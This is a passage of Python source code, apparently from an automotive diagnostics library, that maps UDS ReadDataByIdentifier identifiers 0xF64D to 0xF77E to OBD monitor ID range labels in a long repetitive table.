\"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf64d] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf64e] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf64f] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf650] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf651] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf652] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf653] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf654] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf655] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf656] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf657] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf658] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf659] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf65a] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf65b] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf65c] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf65d] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf65e] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf65f] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf660] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf661] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf662] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf663] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf664] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf665] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf666] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf667] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf668] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf669] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf66a] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf66b] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf66c] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf66d] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf66e] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf66f] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf670] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf671] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf672] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf673] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf674] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf675] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf676] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf677] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf678] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf679] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf67a] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf67b] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf67c] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf67d] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf67e] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf67f] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf680] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf681] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf682] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf683] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf684] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf685] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf686] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf687] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf688] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf689] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf68a] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf68b] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf68c] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf68d] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf68e] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf68f] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf690] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf691] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf692] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf693] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf694] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf695] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf696] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf697] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf698] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf699] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf69a] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf69b] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf69c] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf69d] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf69e] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf69f] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6a0] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6a1] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6a2] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6a3] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6a4] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6a5] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6a6] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6a7] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6a8] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6a9] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6aa] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6ab] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6ac] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6ad] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6ae] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6af] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6b0] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6b1] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6b2] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6b3] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6b4] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6b5] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6b6] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6b7] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6b8] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6b9] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6ba] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6bb] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6bc] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6bd] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6be] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6bf] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6c0] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6c1] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6c2] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6c3] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6c4] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6c5] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6c6] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6c7] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6c8] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6c9] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6ca] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6cb] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6cc] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6cd] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6ce] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6cf] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6d0] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6d1] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6d2] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6d3] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6d4] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6d5] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6d6] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6d7] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6d8] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6d9] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6da] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6db] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6dc] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6dd] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6de] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6df] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6e0] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6e1] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6e2] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6e3] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6e4] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6e5] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6e6] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6e7] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6e8] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6e9] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6ea] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6eb] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6ec] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6ed] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6ee] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6ef] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6f0] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6f1] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6f2] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6f3] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6f4] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6f5] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6f6] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6f7] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6f8] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6f9] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6fa] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6fb] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6fc] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6fd] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6fe] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf6ff] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf700] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf701] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf702] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf703] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf704] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf705] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf706] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf707] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf708] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf709] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf70a] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf70b] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf70c] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf70d] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf70e] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf70f] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf710] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf711] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf712] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf713] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf714] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf715] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf716] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf717] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf718] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf719] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf71a] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf71b] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf71c] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf71d] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf71e] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf71f] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf720] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf721] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf722] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf723] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf724] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf725] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf726] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf727] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf728] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf729] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf72a] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf72b] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf72c] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf72d] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf72e] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf72f] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf730] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf731] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf732] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf733] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf734] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf735] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf736] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf737] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf738] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf739] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf73a] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf73b] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf73c] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf73d] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf73e] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf73f] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf740] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf741] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf742] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf743] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf744] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf745] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf746] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf747] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf748] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf749] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf74a] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf74b] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf74c] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf74d] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf74e] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf74f] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf750] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf751] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf752] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf753] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf754] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf755] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf756] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf757] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf758] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf759] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf75a] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf75b] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf75c] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf75d] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf75e] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf75f] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf760] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf761] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf762] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf763] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf764] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf765] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf766] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf767] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf768] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf769] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf76a] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf76b] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf76c] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf76d] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf76e] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf76f] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf770] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf771] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf772] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf773] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf774] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf775] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf776] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf777] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf778] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf779] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf77a] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf77b] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf77c] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf77d] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf77e] = \"OBDMonitorIds_F700 - 